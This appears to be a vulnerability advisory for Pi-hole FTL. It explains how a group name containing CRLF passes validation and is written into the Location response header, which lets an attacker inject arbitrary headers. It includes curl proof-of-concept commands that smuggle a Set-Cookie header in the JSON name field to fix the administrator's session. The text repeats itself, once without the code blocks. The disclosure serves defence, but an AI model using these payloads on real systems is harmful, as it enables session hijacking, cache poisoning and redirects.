Summary
Pi-hole FTL does not validate the presence of CRLF characters (\r\n) in a group name before including it in an HTTP response header. An authenticated administrator can create a group whose name contains a CRLF sequence followed by an arbitrary HTTP header. FTL writes that name directly into the pi_hole_extra_headers buffer via snprintf, and CivetWeb interprets it as multiple separate HTTP headers, including all of them in the response sent to the client.
The input validator at list.c:387-410 that rejects newlines and spaces is conditional on !spaces_allowed. For the GRAVITY_GROUPS type, spaces_allowed is true, so the validation block never executes and the CRLF reaches the snprintf at line 509 intact.
An authenticated attacker can inject arbitrary headers into the server's HTTP responses, including Set-Cookie, Location, or Cache-Control.
Details
Step 1 - Validator bypass (list.c:387–410)
When a group is created via POST /api/groups, FTL validates the submitted name through the following block:
// FTL/src/api/list.c:387-410
else if(!spaces_allowed)
{
cJSON *it = NULL;
cJSON_ArrayForEach(it, row.items)
{
if(strchr(it->valuestring, ' ') != NULL ||
strchr(it->valuestring, '\t') != NULL ||
strchr(it->valuestring, '\n') != NULL)
{
return send_json_error(api, 400, "bad_request",
"Spaces, newlines and tabs are not allowed in domains and URLs",
it->valuestring);
}
}
}
The condition !spaces_allowed is the key. The variable is assigned as:
bool spaces_allowed = (listtype == GRAVITY_GROUPS);
For groups, spaces_allowed is true, so !spaces_allowed is false and the entire validation block is skipped. A group name containing \r\n passes validation without any rejection.
Step 2 - Unsanitized write into the global header buffer (list.c:509)
After inserting the group into the database, FTL builds a Location: header by writing the group name directly into pi_hole_extra_headers without any sanitization:
// FTL/src/api/list.c:509
if(snprintf(pi_hole_extra_headers, sizeof(pi_hole_extra_headers),
"Location: %s/%s", api->action_path, row->item) >= (int)sizeof(pi_hole_extra_headers))
If row->item is grp_poc\r\nSet-Cookie: sid=ATTACKER; Path=/; HttpOnly, the buffer contains:
Location: /api/groups/grp_poc\r\n
Set-Cookie: sid=ATTACKER; Path=/; HttpOnly\r\n
Step 3 - CivetWeb interprets the buffer as separate HTTP headers (civetweb.c:4229–4232)
// FTL/src/webserver/civetweb/civetweb.c:4229-4232
if (pi_hole_extra_headers[0] != '\0') {
mg_response_header_add_lines(conn, pi_hole_extra_headers);
pi_hole_extra_headers[0] = '\0';
}
mg_response_header_add_lines internally calls parse_http_headers, which splits the buffer on \r\n and adds each line as an independent HTTP response header. The client receives both headers as separate, fully formed HTTP response headers.
An authenticated attacker sends the following request:
POST /api/groups HTTP/1.1
Host: pi.hole
sid: <valid_sid>
X-CSRF-TOKEN: <valid_csrf>
Content-Type: application/json
{
"name": "grp_poc\r\nSet-Cookie: sid=ATTACKER_SID; Path=/; HttpOnly",
"enabled": true,
"comment": "poc"
}
The server responds with:
HTTP/1.1 201 Created
Location: /api/groups/grp_poc
Set-Cookie: sid=ATTACKER_SID; Path=/; HttpOnly
Content-Type: application/json
Any browser that processes this response will overwrite the administrator's session cookie with the attacker-controlled value.
PoC
Proof of Concept
The attack requires two steps: first obtain a valid SID and CSRF token via authentication, then inject the malicious group name containing the CRLF sequence.
Step 1 - Authenticate and retrieve SID and CSRF token:
curl -sk -X POST http://PI_HOLE_IP/api/auth \
-H "Content-Type: application/json" \
-d '{"password":"ADMIN_PASSWORD","totp":null}'
Step 2 - Inject arbitrary headers via CRLF in group name:
curl -sk -D - -X POST http://PI_HOLE_IP/api/groups \
-H "sid: SID_HERE" \
-H "X-CSRF-TOKEN: CSRF_HERE" \
-H "Content-Type: application/json" \
-d $'{"name":"grp_poc\r\nX-Injected: pwn\r\nSet-Cookie: sid=ATTACKER_SID; Path=/; HttpOnly","enabled":true,"comment":"poc"}'
The $'...' bash syntax is required to expand \r\n as literal CRLF bytes before the request is sent. Without it the backslash sequences would reach the server as plain text and would not be interpreted as header separators.
The presence of X-Injected and the attacker-controlled Set-Cookie as independent response headers confirms the injection. Any browser processing this response will overwrite the administrator's session cookie with the attacker-supplied value.
Impact
An authenticated attacker can inject arbitrary HTTP response headers into Pi-hole API responses. The most direct impact is session fixation: by injecting a Set-Cookie: sid=ATTACKER_SID header, the attacker overwrites the administrator's session cookie with a value they control, gaining persistent administrative access to the Pi-hole interface without knowing the administrator's password.
Additional injectable headers extend the attack surface to cache poisoning via Cache-Control and Vary manipulation, and arbitrary redirects via Location header injection.
Summary
Pi-hole FTL does not validate the presence of CRLF characters (\r\n) in a group name before including it in an HTTP response header. An authenticated administrator can create a group whose name contains a CRLF sequence followed by an arbitrary HTTP header. FTL writes that name directly into the pi_hole_extra_headers buffer via snprintf, and CivetWeb interprets it as multiple separate HTTP headers, including all of them in the response sent to the client.
The input validator at list.c:387-410 that rejects newlines and spaces is conditional on !spaces_allowed. For the GRAVITY_GROUPS type, spaces_allowed is true, so the validation block never executes and the CRLF reaches the snprintf at line 509 intact.
An authenticated attacker can inject arbitrary headers into the server's HTTP responses, including Set-Cookie, Location, or Cache-Control.
Details
Step 1 - Validator bypass (
list.c:387–410)When a group is created via
POST /api/groups, FTL validates the submitted name through the following block:The condition
!spaces_allowedis the key. The variable is assigned as:For groups,
spaces_allowedistrue, so!spaces_allowedisfalseand the entire validation block is skipped. A group name containing\r\npasses validation without any rejection.Step 2 - Unsanitized write into the global header buffer (
list.c:509)After inserting the group into the database, FTL builds a
Location:header by writing the group name directly intopi_hole_extra_headerswithout any sanitization:If
row->itemisgrp_poc\r\nSet-Cookie: sid=ATTACKER; Path=/; HttpOnly, the buffer contains:Step 3 - CivetWeb interprets the buffer as separate HTTP headers (
civetweb.c:4229–4232)mg_response_header_add_linesinternally callsparse_http_headers, which splits the buffer on\r\nand adds each line as an independent HTTP response header. The client receives both headers as separate, fully formed HTTP response headers.An authenticated attacker sends the following request:
The server responds with:
Any browser that processes this response will overwrite the administrator's session cookie with the attacker-controlled value.
PoC
Proof of Concept
The attack requires two steps: first obtain a valid SID and CSRF token via authentication, then inject the malicious group name containing the CRLF sequence.
Step 1 - Authenticate and retrieve SID and CSRF token:
Step 2 - Inject arbitrary headers via CRLF in group name:
The $'...' bash syntax is required to expand \r\n as literal CRLF bytes before the request is sent. Without it the backslash sequences would reach the server as plain text and would not be interpreted as header separators.
The presence of X-Injected and the attacker-controlled Set-Cookie as independent response headers confirms the injection. Any browser processing this response will overwrite the administrator's session cookie with the attacker-supplied value.
Impact
An authenticated attacker can inject arbitrary HTTP response headers into Pi-hole API responses. The most direct impact is session fixation: by injecting a
Set-Cookie: sid=ATTACKER_SIDheader, the attacker overwrites the administrator's session cookie with a value they control, gaining persistent administrative access to the Pi-hole interface without knowing the administrator's password.Additional injectable headers extend the attack surface to cache poisoning via
Cache-ControlandVarymanipulation, and arbitrary redirects viaLocationheader injection.